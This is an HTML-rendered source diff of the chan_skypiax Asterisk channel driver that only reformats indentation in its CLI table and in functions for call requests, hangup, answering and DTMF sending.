</span><del>-  {{&quot;skypiax_hangup&quot;, NULL}, skypiax_console_hangup,
-   &quot;Hangup a call on the skypiax_console&quot;,
-   skypiax_console_hangup_usage},
-  {{&quot;skypiax_playback_boost&quot;, NULL}, skypiax_console_playback_boost, &quot;playback boost&quot;,
-   skypiax_console_playback_boost_usage},
-  {{&quot;skypiax_capture_boost&quot;, NULL}, skypiax_console_capture_boost, &quot;capture boost&quot;,
-   skypiax_console_capture_boost_usage},
-  {{&quot;skypiax_usage&quot;, NULL}, skypiax_console_skypiax, &quot;chan_skypiax commands info&quot;,
-   skypiax_console_skypiax_usage},
-  {{&quot;skypiax_skype&quot;, NULL}, skypiax_console_skype, &quot;Skype msg&quot;,
-   skypiax_console_skype_usage},
-  {{&quot;skypiax_dial&quot;, NULL}, skypiax_console_dial,
-   &quot;Dial an extension on the skypiax_console&quot;,
-   skypiax_console_dial_usage},
-  {{&quot;skypiax_console&quot;, NULL}, skypiax_console_set_active,
-   &quot;Sets/displays active skypiax_console&quot;,
-   skypiax_console_skypiax_console_usage},
-  {{&quot;skypiax_dir_import&quot;, NULL}, skypiax_console_skypiax_dir_import,
-   &quot;Write the directoriax.conf file, used by directoriax app&quot;,
-   skypiax_console_skypiax_dir_import_usage},
</del><ins>+        {{&quot;skypiax_hangup&quot;, NULL}, skypiax_console_hangup,
+         &quot;Hangup a call on the skypiax_console&quot;,
+         skypiax_console_hangup_usage},
+        {{&quot;skypiax_playback_boost&quot;, NULL}, skypiax_console_playback_boost, &quot;playback boost&quot;,
+         skypiax_console_playback_boost_usage},
+        {{&quot;skypiax_capture_boost&quot;, NULL}, skypiax_console_capture_boost, &quot;capture boost&quot;,
+         skypiax_console_capture_boost_usage},
+        {{&quot;skypiax_usage&quot;, NULL}, skypiax_console_skypiax, &quot;chan_skypiax commands info&quot;,
+         skypiax_console_skypiax_usage},
+        {{&quot;skypiax_skype&quot;, NULL}, skypiax_console_skype, &quot;Skype msg&quot;,
+         skypiax_console_skype_usage},
+        {{&quot;skypiax_dial&quot;, NULL}, skypiax_console_dial,
+         &quot;Dial an extension on the skypiax_console&quot;,
+         skypiax_console_dial_usage},
+        {{&quot;skypiax_console&quot;, NULL}, skypiax_console_set_active,
+         &quot;Sets/displays active skypiax_console&quot;,
+         skypiax_console_skypiax_console_usage},
+        {{&quot;skypiax_dir_import&quot;, NULL}, skypiax_console_skypiax_dir_import,
+         &quot;Write the directoriax.conf file, used by directoriax app&quot;,
+         skypiax_console_skypiax_dir_import_usage},
</ins><span class="cx"> };
</span><span class="cx"> #endif
</span><span class="cx"> 
</span><span class="lines">@@ -175,88 +171,83 @@
</span><span class="cx"> 
</span><span class="cx"> void skypiax_unlocka_log(void *x)
</span><span class="cx"> {
</span><del>-  ast_mutex_t *y;
-  y = x;
-  int i;
</del><ins>+        ast_mutex_t *y;
+        y = x;
+        int i;
</ins><span class="cx"> 
</span><del>-  for (i = 0; i &lt; 5; i++) {     //let's be generous
</del><ins>+        for (i = 0; i &lt; 5; i++) {        //let's be generous
</ins><span class="cx"> 
</span><del>-    ast_log(LOG_DEBUG,
-            SKYPIAX_SVN_VERSION
-            &quot;[%-7lx] I'm a dying thread, and I'm to go unlocking mutex %p for the %dth time\n&quot;,
-            (unsigned long int) pthread_self(), y, i);
</del><ins>+                ast_log(LOG_DEBUG,
+                                SKYPIAX_SVN_VERSION
+                                &quot;[%-7lx] I'm a dying thread, and I'm to go unlocking mutex %p for the %dth time\n&quot;, (unsigned long int) pthread_self(), y, i);
</ins><span class="cx"> 
</span><del>-    ast_mutex_unlock(y);
-  }
-  ast_log(LOG_DEBUG,
-          SKYPIAX_SVN_VERSION
-          &quot;[%-7lx] I'm a dying thread, I've finished unlocking mutex %p\n&quot;,
-          (unsigned long int) pthread_self(), y);
</del><ins>+                ast_mutex_unlock(y);
+        }
+        ast_log(LOG_DEBUG, SKYPIAX_SVN_VERSION &quot;[%-7lx] I'm a dying thread, I've finished unlocking mutex %p\n&quot;, (unsigned long int) pthread_self(), y);
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> int skypiax_queue_control(struct ast_channel *c, int control)
</span><span class="cx"> {
</span><del>-  struct skypiax_pvt *p = c-&gt;tech_pvt;
</del><ins>+        struct skypiax_pvt *p = c-&gt;tech_pvt;
</ins><span class="cx"> 
</span><span class="cx"> /* queue the frame */
</span><del>-  if (p)
-    p-&gt;control_to_send = control;
-  else {
-    return 0;
-  }
-  DEBUGA_PBX(&quot;Queued CONTROL FRAME %d\n&quot;, SKYPIAX_P_LOG, control);
</del><ins>+        if (p)
+                p-&gt;control_to_send = control;
+        else {
+                return 0;
+        }
+        DEBUGA_PBX(&quot;Queued CONTROL FRAME %d\n&quot;, SKYPIAX_P_LOG, control);
</ins><span class="cx"> 
</span><span class="cx"> /* wait for the frame to be sent */
</span><del>-  while (p-&gt;control_to_send)
-    usleep(1);
</del><ins>+        while (p-&gt;control_to_send)
+                usleep(1);
</ins><span class="cx"> 
</span><del>-  return 0;
</del><ins>+        return 0;
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> int skypiax_devicestate(void *data)
</span><span class="cx"> {
</span><del>-  struct skypiax_pvt *p = NULL;
-  char *name = data;
-  int res = AST_DEVICE_INVALID;
</del><ins>+        struct skypiax_pvt *p = NULL;
+        char *name = data;
+        int res = AST_DEVICE_INVALID;
</ins><span class="cx"> 
</span><del>-  if (!data) {
-    ERRORA(&quot;Devicestate requested with no data\n&quot;, SKYPIAX_P_LOG);
-    return res;
-  }
</del><ins>+        if (!data) {
+                ERRORA(&quot;Devicestate requested with no data\n&quot;, SKYPIAX_P_LOG);
+                return res;
+        }
</ins><span class="cx"> 
</span><del>-  /* lock the interfaces' list */
-  LOKKA(&amp;skypiax_iflock);
-  /* make a pointer to the first interface in the interfaces list */
-  p = skypiax_iflist;
-  /* Search for the requested interface and verify if is unowned */
-  while (p) {
-    size_t length = strlen(p-&gt;name);
-    /* is this the requested interface? */
-    if (strncmp(name, p-&gt;name, length) == 0) {
-      /* is this interface unowned? */
-      if (!p-&gt;owner) {
-        res = AST_DEVICE_NOT_INUSE;
-        DEBUGA_PBX(&quot;Interface is NOT OWNED by a channel\n&quot;, SKYPIAX_P_LOG);
-      } else {
-        /* interface owned by a channel */
-        res = AST_DEVICE_INUSE;
-        DEBUGA_PBX(&quot;Interface is OWNED by a channel\n&quot;, SKYPIAX_P_LOG);
-      }
</del><ins>+        /* lock the interfaces' list */
+        LOKKA(&amp;skypiax_iflock);
+        /* make a pointer to the first interface in the interfaces list */
+        p = skypiax_iflist;
+        /* Search for the requested interface and verify if is unowned */
+        while (p) {
+                size_t length = strlen(p-&gt;name);
+                /* is this the requested interface? */
+                if (strncmp(name, p-&gt;name, length) == 0) {
+                        /* is this interface unowned? */
+                        if (!p-&gt;owner) {
+                                res = AST_DEVICE_NOT_INUSE;
+                                DEBUGA_PBX(&quot;Interface is NOT OWNED by a channel\n&quot;, SKYPIAX_P_LOG);
+                        } else {
+                                /* interface owned by a channel */
+                                res = AST_DEVICE_INUSE;
+                                DEBUGA_PBX(&quot;Interface is OWNED by a channel\n&quot;, SKYPIAX_P_LOG);
+                        }
</ins><span class="cx"> 
</span><del>-      /* we found the requested interface, bail out from the while loop */
-      break;
-    }
-    /* not yet found, next please */
-    p = p-&gt;next;
-  }
-  /* unlock the interfaces' list */
-  UNLOCKA(&amp;skypiax_iflock);
</del><ins>+                        /* we found the requested interface, bail out from the while loop */
+                        break;
+                }
+                /* not yet found, next please */
+                p = p-&gt;next;
+        }
+        /* unlock the interfaces' list */
+        UNLOCKA(&amp;skypiax_iflock);
</ins><span class="cx"> 
</span><del>-  if (res == AST_DEVICE_INVALID) {
-    ERRORA(&quot;Checking device state for interface [%s] returning AST_DEVICE_INVALID\n&quot;,
-           SKYPIAX_P_LOG, name);
-  }
-  return res;
</del><ins>+        if (res == AST_DEVICE_INVALID) {
+                ERRORA(&quot;Checking device state for interface [%s] returning AST_DEVICE_INVALID\n&quot;, SKYPIAX_P_LOG, name);
+        }
+        return res;
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> #ifndef ASTERISK_VERSION_1_4
</span><span class="lines">@@ -265,129 +256,126 @@
</span><span class="cx"> int skypiax_indicate(struct ast_channel *c, int cond, const void *data, size_t datalen)
</span><span class="cx"> #endif
</span><span class="cx"> {
</span><del>-  struct skypiax_pvt *p = c-&gt;tech_pvt;
-  int res = 0;
</del><ins>+        struct skypiax_pvt *p = c-&gt;tech_pvt;
+        int res = 0;
</ins><span class="cx"> 
</span><del>-  NOTICA(&quot;Let's INDICATE %d\n&quot;, SKYPIAX_P_LOG, cond);
</del><ins>+        NOTICA(&quot;Let's INDICATE %d\n&quot;, SKYPIAX_P_LOG, cond);
</ins><span class="cx"> 
</span><del>-  switch (cond) {
-  case AST_CONTROL_BUSY:
-  case AST_CONTROL_CONGESTION:
-  case AST_CONTROL_RINGING:
-  case -1:
-    res = -1;                   /* Ask for inband indications */
-    break;
-  case AST_CONTROL_PROGRESS:
-  case AST_CONTROL_PROCEEDING:
-  case AST_CONTROL_VIDUPDATE:
-  case AST_CONTROL_HOLD:
-  case AST_CONTROL_UNHOLD:
</del><ins>+        switch (cond) {
+        case AST_CONTROL_BUSY:
+        case AST_CONTROL_CONGESTION:
+        case AST_CONTROL_RINGING:
+        case -1:
+                res = -1;                                /* Ask for inband indications */
+                break;
+        case AST_CONTROL_PROGRESS:
+        case AST_CONTROL_PROCEEDING:
+        case AST_CONTROL_VIDUPDATE:
+        case AST_CONTROL_HOLD:
+        case AST_CONTROL_UNHOLD:
</ins><span class="cx"> #ifdef ASTERISK_VERSION_1_4
</span><del>-  case AST_CONTROL_SRCUPDATE:
</del><ins>+        case AST_CONTROL_SRCUPDATE:
</ins><span class="cx"> #endif /* ASTERISK_VERSION_1_4 */
</span><del>-    break;
-  default:
-    WARNINGA(&quot;Don't know how to display condition %d on %s\n&quot;, SKYPIAX_P_LOG, cond,
-             c-&gt;name);
-    /* The core will play inband indications for us if appropriate */
-    res = -1;
-  }
</del><ins>+                break;
+        default:
+                WARNINGA(&quot;Don't know how to display condition %d on %s\n&quot;, SKYPIAX_P_LOG, cond, c-&gt;name);
+                /* The core will play inband indications for us if appropriate */
+                res = -1;
+        }
</ins><span class="cx"> 
</span><del>-  return res;
</del><ins>+        return res;
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> /*! \brief PBX interface function -build skypiax pvt structure 
</span><span class="cx">  *         skypiax calls initiated by the PBX arrive here */
</span><span class="cx"> struct ast_channel *skypiax_request(const char *type, int format, void *data, int *cause)
</span><span class="cx"> {
</span><del>-  struct skypiax_pvt *p = NULL;
-  struct ast_channel *tmp = NULL;
-  char *name = data;
-  int found = 0;
</del><ins>+        struct skypiax_pvt *p = NULL;
+        struct ast_channel *tmp = NULL;
+        char *name = data;
+        int found = 0;
</ins><span class="cx"> 
</span><del>-  DEBUGA_PBX(&quot;Try to request type: %s, name: %s, cause: %d,&quot; &quot; format: %d\n&quot;,
-             SKYPIAX_P_LOG, type, name, *cause, format);
</del><ins>+        DEBUGA_PBX(&quot;Try to request type: %s, name: %s, cause: %d,&quot; &quot; format: %d\n&quot;, SKYPIAX_P_LOG, type, name, *cause, format);
</ins><span class="cx"> 
</span><del>-  if (!data) {
-    ERRORA(&quot;Channel requested with no data\n&quot;, SKYPIAX_P_LOG);
-    return NULL;
-  }
</del><ins>+        if (!data) {
+                ERRORA(&quot;Channel requested with no data\n&quot;, SKYPIAX_P_LOG);
+                return NULL;
+        }
</ins><span class="cx"> 
</span><del>-  char interface[256];
-  int i;
-  memset(interface, '\0', sizeof(interface));
</del><ins>+        char interface[256];
+        int i;
+        memset(interface, '\0', sizeof(interface));
</ins><span class="cx"> 
</span><del>-  for (i = 0; i &lt; sizeof(interface); i++) {
-    if (name[i] == '/')
-      break;
-    interface[i] = name[i];
-  }
-  /* lock the interfaces' list */
-  LOKKA(&amp;skypiax_iflock);
-  /* make a pointer to the first interface in the interfaces list */
-  p = skypiax_iflist;
</del><ins>+        for (i = 0; i &lt; sizeof(interface); i++) {
+                if (name[i] == '/')
+                        break;
+                interface[i] = name[i];
+        }
+        /* lock the interfaces' list */
+        LOKKA(&amp;skypiax_iflock);
+        /* make a pointer to the first interface in the interfaces list */
+        p = skypiax_iflist;
</ins><span class="cx"> 
</span><del>-  if (strcmp(&quot;ANY&quot;, interface) == 0) {
-    /* we've been asked for the &quot;ANY&quot; interface, let's find the first idle interface */
-    DEBUGA_SKYPE(&quot;Finding one available skype interface\n&quot;, SKYPIAX_P_LOG);
-    p = find_available_skypiax_interface();
-    if (p) {
-      found = 1;
</del><ins>+        if (strcmp(&quot;ANY&quot;, interface) == 0) {
+                /* we've been asked for the &quot;ANY&quot; interface, let's find the first idle interface */
+                DEBUGA_SKYPE(&quot;Finding one available skype interface\n&quot;, SKYPIAX_P_LOG);
+                p = find_available_skypiax_interface();
+                if (p) {
+                        found = 1;
</ins><span class="cx"> 
</span><del>-      /* create a new channel owning this interface */
-      tmp = skypiax_new(p, SKYPIAX_STATE_DOWN, p-&gt;context);
-      if (!tmp) {
-        /* the channel was not created, probable memory allocation error */
-        *cause = AST_CAUSE_SWITCH_CONGESTION;
-      }
</del><ins>+                        /* create a new channel owning this interface */
+                        tmp = skypiax_new(p, SKYPIAX_STATE_DOWN, p-&gt;context);
+                        if (!tmp) {
+                                /* the channel was not created, probable memory allocation error */
+                                *cause = AST_CAUSE_SWITCH_CONGESTION;
+                        }
</ins><span class="cx"> 
</span><del>-    }
</del><ins>+                }
</ins><span class="cx"> 
</span><del>-  }
</del><ins>+        }
</ins><span class="cx"> 
</span><del>-  /* Search for the requested interface and verify if is unowned and format compatible */
-  while (p &amp;&amp; !found) {
-    //size_t length = strlen(p-&gt;name);
-    /* is this the requested interface? */
-    if (strcmp(interface, p-&gt;name) == 0) {
-      /* is the requested format supported by this interface? */
-      if ((format &amp; AST_FORMAT_SLINEAR) != 0) {
-        /* is this interface unowned? */
-        if (!p-&gt;owner) {
-          DEBUGA_PBX(&quot;Requesting: %s, name: %s, format: %d\n&quot;, SKYPIAX_P_LOG, type, name,
-                     format);
-          /* create a new channel owning this interface */
-          tmp = skypiax_new(p, SKYPIAX_STATE_DOWN, p-&gt;context);
-          if (!tmp) {
-            /* the channel was not created, probable memory allocation error */
-            *cause = AST_CAUSE_SWITCH_CONGESTION;
-          }
-        } else {
-          /* interface owned by another channel */
-          WARNINGA(&quot;owned by another channel\n&quot;, SKYPIAX_P_LOG);
-          *cause = AST_CAUSE_REQUESTED_CHAN_UNAVAIL;
-        }
-      } else {
-        /* requested format not supported */
-        WARNINGA(&quot;format %d not supported\n&quot;, SKYPIAX_P_LOG, format);
-        *cause = AST_CAUSE_BEARERCAPABILITY_NOTAVAIL;
-      }
-      /* we found the requested interface, bail out from the while loop */
-      break;
-    }
-    /* not yet found, next please */
-    p = p-&gt;next;
-  }
-  /* unlock the interfaces' list */
-  UNLOCKA(&amp;skypiax_iflock);
-  /* restart the monitor so it will watch only the remaining unowned interfaces  */
-  skypiax_restart_monitor();
-  if (tmp == NULL) {
-    /* new channel was not created */
-    WARNINGA(&quot;Unable to create new Skypiax channel %s\n&quot;, SKYPIAX_P_LOG, name);
-  }
-  /* return the newly created channel */
-  return tmp;
</del><ins>+        /* Search for the requested interface and verify if is unowned and format compatible */
+        while (p &amp;&amp; !found) {
+                //size_t length = strlen(p-&gt;name);
+                /* is this the requested interface? */
+                if (strcmp(interface, p-&gt;name) == 0) {
+                        /* is the requested format supported by this interface? */
+                        if ((format &amp; AST_FORMAT_SLINEAR) != 0) {
+                                /* is this interface unowned? */
+                                if (!p-&gt;owner) {
+                                        DEBUGA_PBX(&quot;Requesting: %s, name: %s, format: %d\n&quot;, SKYPIAX_P_LOG, type, name, format);
+                                        /* create a new channel owning this interface */
+                                        tmp = skypiax_new(p, SKYPIAX_STATE_DOWN, p-&gt;context);
+                                        if (!tmp) {
+                                                /* the channel was not created, probable memory allocation error */
+                                                *cause = AST_CAUSE_SWITCH_CONGESTION;
+                                        }
+                                } else {
+                                        /* interface owned by another channel */
+                                        WARNINGA(&quot;owned by another channel\n&quot;, SKYPIAX_P_LOG);
+                                        *cause = AST_CAUSE_REQUESTED_CHAN_UNAVAIL;
+                                }
+                        } else {
+                                /* requested format not supported */
+                                WARNINGA(&quot;format %d not supported\n&quot;, SKYPIAX_P_LOG, format);
+                                *cause = AST_CAUSE_BEARERCAPABILITY_NOTAVAIL;
+                        }
+                        /* we found the requested interface, bail out from the while loop */
+                        break;
+                }
+                /* not yet found, next please */
+                p = p-&gt;next;
+        }
+        /* unlock the interfaces' list */
+        UNLOCKA(&amp;skypiax_iflock);
+        /* restart the monitor so it will watch only the remaining unowned interfaces  */
+        skypiax_restart_monitor();
+        if (tmp == NULL) {
+                /* new channel was not created */
+                WARNINGA(&quot;Unable to create new Skypiax channel %s\n&quot;, SKYPIAX_P_LOG, name);
+        }
+        /* return the newly created channel */
+        return tmp;
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> /*! \brief  Hangup skypiax call
</span><span class="lines">@@ -395,144 +383,142 @@
</span><span class="cx"> 
</span><span class="cx"> int skypiax_hangup(struct ast_channel *c)
</span><span class="cx"> {
</span><del>-  struct skypiax_pvt *p;
</del><ins>+        struct skypiax_pvt *p;
</ins><span class="cx"> 
</span><del>-  /* get our skypiax pvt interface from channel */
-  p = c-&gt;tech_pvt;
-  /* if there is not skypiax pvt why we are here ? */
-  if (!p) {
-    ERRORA(&quot;Asked to hangup channel not connected\n&quot;, SKYPIAX_P_LOG);
-    return 0;
-  }
</del><ins>+        /* get our skypiax pvt interface from channel */
+        p = c-&gt;tech_pvt;
+        /* if there is not skypiax pvt why we are here ? */
+        if (!p) {
+                ERRORA(&quot;Asked to hangup channel not connected\n&quot;, SKYPIAX_P_LOG);
+                return 0;
+        }
</ins><span class="cx"> 
</span><del>-  if (p-&gt;skype &amp;&amp; p-&gt;interface_state != SKYPIAX_STATE_DOWN) {
-    char msg_to_skype[1024];
-    p-&gt;interface_state = SKYPIAX_STATE_HANGUP_REQUESTED;
-    DEBUGA_SKYPE(&quot;hanging up skype call: %s\n&quot;, SKYPIAX_P_LOG, p-&gt;skype_call_id);
-    //sprintf(msg_to_skype, &quot;SET CALL %s STATUS FINISHED&quot;, p-&gt;skype_call_id);
-    sprintf(msg_to_skype, &quot;ALTER CALL %s HANGUP&quot;, p-&gt;skype_call_id);
-    skypiax_signaling_write(p, msg_to_skype);
-  }
</del><ins>+        if (p-&gt;skype &amp;&amp; p-&gt;interface_state != SKYPIAX_STATE_DOWN) {
+                char msg_to_skype[1024];
+                p-&gt;interface_state = SKYPIAX_STATE_HANGUP_REQUESTED;
+                DEBUGA_SKYPE(&quot;hanging up skype call: %s\n&quot;, SKYPIAX_P_LOG, p-&gt;skype_call_id);
+                //sprintf(msg_to_skype, &quot;SET CALL %s STATUS FINISHED&quot;, p-&gt;skype_call_id);
+                sprintf(msg_to_skype, &quot;ALTER CALL %s HANGUP&quot;, p-&gt;skype_call_id);
+                skypiax_signaling_write(p, msg_to_skype);
+        }
</ins><span class="cx"> 
</span><del>-  while (p-&gt;interface_state != SKYPIAX_STATE_DOWN) {
-    usleep(10000);
-  }
-  DEBUGA_SKYPE(&quot;Now is really DOWN\n&quot;, SKYPIAX_P_LOG);
-  /* shutdown the serial monitoring thread */
-  if (p-&gt;controldev_thread &amp;&amp; (p-&gt;controldev_thread != AST_PTHREADT_NULL)
-      &amp;&amp; (p-&gt;controldev_thread != AST_PTHREADT_STOP)) {
-    if (pthread_cancel(p-&gt;controldev_thread)) {
-      ERRORA(&quot;controldev_thread pthread_cancel failed, maybe he killed himself?\n&quot;,
-             SKYPIAX_P_LOG);
-    }
-    /* push it, maybe is stuck in a select or so */
-    if (pthread_kill(p-&gt;controldev_thread, SIGURG)) {
-      DEBUGA_SERIAL(&quot;controldev_thread pthread_kill failed, no problem\n&quot;, SKYPIAX_P_LOG);
-    }
-#ifndef __CYGWIN__              /* under cygwin, this seems to be not reliable, get stuck at times */
-    /* wait for it to die */
-    if (pthread_join(p-&gt;controldev_thread, NULL)) {
-      ERRORA(&quot;controldev_thread pthread_join failed, BAD\n&quot;, SKYPIAX_P_LOG);
-    }
</del><ins>+        while (p-&gt;interface_state != SKYPIAX_STATE_DOWN) {
+                usleep(10000);
+        }
+        DEBUGA_SKYPE(&quot;Now is really DOWN\n&quot;, SKYPIAX_P_LOG);
+        /* shutdown the serial monitoring thread */
+        if (p-&gt;controldev_thread &amp;&amp; (p-&gt;controldev_thread != AST_PTHREADT_NULL)
+                &amp;&amp; (p-&gt;controldev_thread != AST_PTHREADT_STOP)) {
+                if (pthread_cancel(p-&gt;controldev_thread)) {
+                        ERRORA(&quot;controldev_thread pthread_cancel failed, maybe he killed himself?\n&quot;, SKYPIAX_P_LOG);
+                }
+                /* push it, maybe is stuck in a select or so */
+                if (pthread_kill(p-&gt;controldev_thread, SIGURG)) {
+                        DEBUGA_SERIAL(&quot;controldev_thread pthread_kill failed, no problem\n&quot;, SKYPIAX_P_LOG);
+                }
+#ifndef __CYGWIN__                                /* under cygwin, this seems to be not reliable, get stuck at times */
+                /* wait for it to die */
+                if (pthread_join(p-&gt;controldev_thread, NULL)) {
+                        ERRORA(&quot;controldev_thread pthread_join failed, BAD\n&quot;, SKYPIAX_P_LOG);
+                }
</ins><span class="cx"> #else /* __CYGWIN__ */
</span><span class="cx"> /* allow the serial thread to die */
</span><del>-    usleep(300000);             //300msecs
</del><ins>+                usleep(300000);                        //300msecs
</ins><span class="cx"> #endif /* __CYGWIN__ */
</span><del>-  }
-  p-&gt;controldev_thread = AST_PTHREADT_NULL;
</del><ins>+        }
+        p-&gt;controldev_thread = AST_PTHREADT_NULL;
</ins><span class="cx"> 
</span><del>-  p-&gt;interface_state = SKYPIAX_STATE_DOWN;
-  p-&gt;skype_callflow = CALLFLOW_CALL_IDLE;
</del><ins>+        p-&gt;interface_state = SKYPIAX_STATE_DOWN;
+        p-&gt;skype_callflow = CALLFLOW_CALL_IDLE;
</ins><span class="cx"> 
</span><del>-  DEBUGA_PBX(&quot;I'll send AST_CONTROL_HANGUP\n&quot;, SKYPIAX_P_LOG);
-  ast_queue_control(p-&gt;owner, AST_CONTROL_HANGUP);
-  DEBUGA_PBX(&quot;I've sent AST_CONTROL_HANGUP\n&quot;, SKYPIAX_P_LOG);
</del><ins>+        DEBUGA_PBX(&quot;I'll send AST_CONTROL_HANGUP\n&quot;, SKYPIAX_P_LOG);
+        ast_queue_control(p-&gt;owner, AST_CONTROL_HANGUP);
+        DEBUGA_PBX(&quot;I've sent AST_CONTROL_HANGUP\n&quot;, SKYPIAX_P_LOG);
</ins><span class="cx"> 
</span><del>-  /* subtract one to the usage count of Skypiax-type channels */
-  LOKKA(&amp;skypiax_usecnt_lock);
-  skypiax_usecnt--;
-  if (skypiax_usecnt &lt; 0)
-    ERRORA(&quot;Usecnt &lt; 0???\n&quot;, SKYPIAX_P_LOG);
-  UNLOCKA(&amp;skypiax_usecnt_lock);
-  ast_update_use_count();
</del><ins>+        /* subtract one to the usage count of Skypiax-type channels */
+        LOKKA(&amp;skypiax_usecnt_lock);
+        skypiax_usecnt--;
+        if (skypiax_usecnt &lt; 0)
+                ERRORA(&quot;Usecnt &lt; 0???\n&quot;, SKYPIAX_P_LOG);
+        UNLOCKA(&amp;skypiax_usecnt_lock);
+        ast_update_use_count();
</ins><span class="cx"> 
</span><del>-  /* our skypiax pvt interface is no more part of a channel */
-  p-&gt;owner = NULL;
-  /* our channel has no more this skypiax pvt interface to manage */
-  c-&gt;tech_pvt = NULL;
-  /* set the channel state to DOWN, eg. available, not in active use */
-  if (ast_setstate(c, SKYPIAX_STATE_DOWN)) {
-    ERRORA(&quot;ast_setstate failed, BAD\n&quot;, SKYPIAX_P_LOG);
-    return -1;
-  }
</del><ins>+        /* our skypiax pvt interface is no more part of a channel */
+        p-&gt;owner = NULL;
+        /* our channel has no more this skypiax pvt interface to manage */
+        c-&gt;tech_pvt = NULL;
+        /* set the channel state to DOWN, eg. available, not in active use */
+        if (ast_setstate(c, SKYPIAX_STATE_DOWN)) {
+                ERRORA(&quot;ast_setstate failed, BAD\n&quot;, SKYPIAX_P_LOG);
+                return -1;
+        }
</ins><span class="cx"> 
</span><del>-  /* restart the monitor thread, so it can recheck which interfaces it have to watch during its loop (the interfaces that are not owned by channels) */
-  if (skypiax_restart_monitor()) {
-    ERRORA(&quot;skypiax_restart_monitor failed, BAD\n&quot;, SKYPIAX_P_LOG);
-    return -1;
-  }
</del><ins>+        /* restart the monitor thread, so it can recheck which interfaces it have to watch during its loop (the interfaces that are not owned by channels) */
+        if (skypiax_restart_monitor()) {
+                ERRORA(&quot;skypiax_restart_monitor failed, BAD\n&quot;, SKYPIAX_P_LOG);
+                return -1;
+        }
</ins><span class="cx"> 
</span><del>-  return 0;
</del><ins>+        return 0;
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> /*! \brief  Answer incoming call,
</span><span class="cx">  * Part of PBX interface */
</span><span class="cx"> int skypiax_answer(struct ast_channel *c)
</span><span class="cx"> {
</span><del>-  struct skypiax_pvt *p = c-&gt;tech_pvt;
-  int res;
</del><ins>+        struct skypiax_pvt *p = c-&gt;tech_pvt;
+        int res;
</ins><span class="cx"> 
</span><del>-  /* whle ringing, we just wait, the skype thread will answer */
-  while (p-&gt;interface_state == SKYPIAX_STATE_RING) {
-    usleep(10000);              //10msec
-  }
-  if (p-&gt;interface_state != SKYPIAX_STATE_UP) {
-    ERRORA(&quot;call answering failed, we want it to be into interface_state=%d, got %d\n&quot;,
-           SKYPIAX_P_LOG, SKYPIAX_STATE_UP, p-&gt;interface_state);
-    res = -1;
-  } else {
-    DEBUGA_PBX(&quot;call answered\n&quot;, SKYPIAX_P_LOG);
-    res = 0;
-  }
-  return res;
</del><ins>+        /* whle ringing, we just wait, the skype thread will answer */
+        while (p-&gt;interface_state == SKYPIAX_STATE_RING) {
+                usleep(10000);                        //10msec
+        }
+        if (p-&gt;interface_state != SKYPIAX_STATE_UP) {
+                ERRORA(&quot;call answering failed, we want it to be into interface_state=%d, got %d\n&quot;, SKYPIAX_P_LOG, SKYPIAX_STATE_UP, p-&gt;interface_state);
+                res = -1;
+        } else {
+                DEBUGA_PBX(&quot;call answered\n&quot;, SKYPIAX_P_LOG);
+                res = 0;
+        }
+        return res;
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> #ifdef ASTERISK_VERSION_1_4
</span><span class="cx"> int skypiax_digitsend_begin(struct ast_channel *c, char digit)
</span><span class="cx"> {
</span><del>-  struct skypiax_pvt *p = c-&gt;tech_pvt;
</del><ins>+        struct skypiax_pvt *p = c-&gt;tech_pvt;
</ins><span class="cx"> 
</span><del>-  DEBUGA_PBX(&quot;DIGIT BEGIN received: %c\n&quot;, SKYPIAX_P_LOG, digit);
</del><ins>+        DEBUGA_PBX(&quot;DIGIT BEGIN received: %c\n&quot;, SKYPIAX_P_LOG, digit);
</ins><span class="cx"> 
</span><del>-  return 0;
</del><ins>+        return 0;
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> int skypiax_digitsend_end(struct ast_channel *c, char digit, unsigned int duration)
</span><span class="cx"> {
</span><del>-  struct skypiax_pvt *p = c-&gt;tech_pvt;
-  char msg_to_skype[1024];
</del><ins>+        struct skypiax_pvt *p = c-&gt;tech_pvt;
+        char msg_to_skype[1024];
</ins><span class="cx"> 
</span><del>-  NOTICA(&quot;DIGIT END received: %c %d\n&quot;, SKYPIAX_P_LOG, digit, duration);
</del><ins>+        NOTICA(&quot;DIGIT END received: %c %d\n&quot;, SKYPIAX_P_LOG, digit, duration);
</ins><span class="cx"> 
</span><del>-  sprintf(msg_to_skype, &quot;SET CALL %s DTMF %c&quot;, p-&gt;skype_call_id, digit);
</del><ins>+        sprintf(msg_to_skype, &quot;SET CALL %s DTMF %c&quot;, p-&gt;skype_call_id, digit);
</ins><span class="cx"> 
</span><del>-  skypiax_signaling_write(p, msg_to_skype);
</del><ins>+        skypiax_signaling_write(p, msg_to_skype);
</ins><span class="cx"> 
</span><del>-  return 0;
</del><ins>+        return 0;
</ins><span class="cx"> }
</span><span class="cx"> #else /* ASTERISK_VERSION_1_4 */
</span><span class="cx"> int skypiax_digitsend(struct ast_channel *c, char digit)
</span><span class="cx"> {
</span><del>-  struct skypiax_pvt *p = c-&gt;tech_pvt;
-  char msg_to_skype[1024];
</del><ins>+        struct skypiax_pvt *p = c-&gt;tech_pvt;
+        char msg_to_skype[1024];
</ins><span class="cx"> 
</span><del>-  NOTICA(&quot;DIGIT received: %c\n&quot;, SKYPIAX_P_LOG, digit);
</del><ins>+        NOTICA(&quot;DIGIT received: %c\n&quot;, SKYPIAX_P_LOG, digit);
</ins><span class="cx"> 
</span><del>-  sprintf(msg_to_skype, &quot;SET CALL %s DTMF %c&quot;, p-&gt;skype_call_id, digit);
</del><ins>+        sprintf(msg_to_skype, &quot;SET CALL %s DTMF %c&quot;, p-&gt;skype_call_id, digit);
</ins><span class="cx"> 
</span><del>-  skypiax_signaling_write(p, msg_to_skype);
</del><ins>+        skypiax_signaling_write(p, msg_to_skype);
</ins><span class="cx"> 
</span><del>-  return 0;
</del><ins>+        return 0;
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> #endif /* ASTERISK_VERSION_1_4 */
</span><span class="lines">@@ -541,62 +527,61 @@
</span><span class="cx"> /*! \brief Read audio frames from channel */
</span><span class="cx"> struct ast_frame *skypiax_read(struct ast_channel *c)
</span><span class="cx"> {
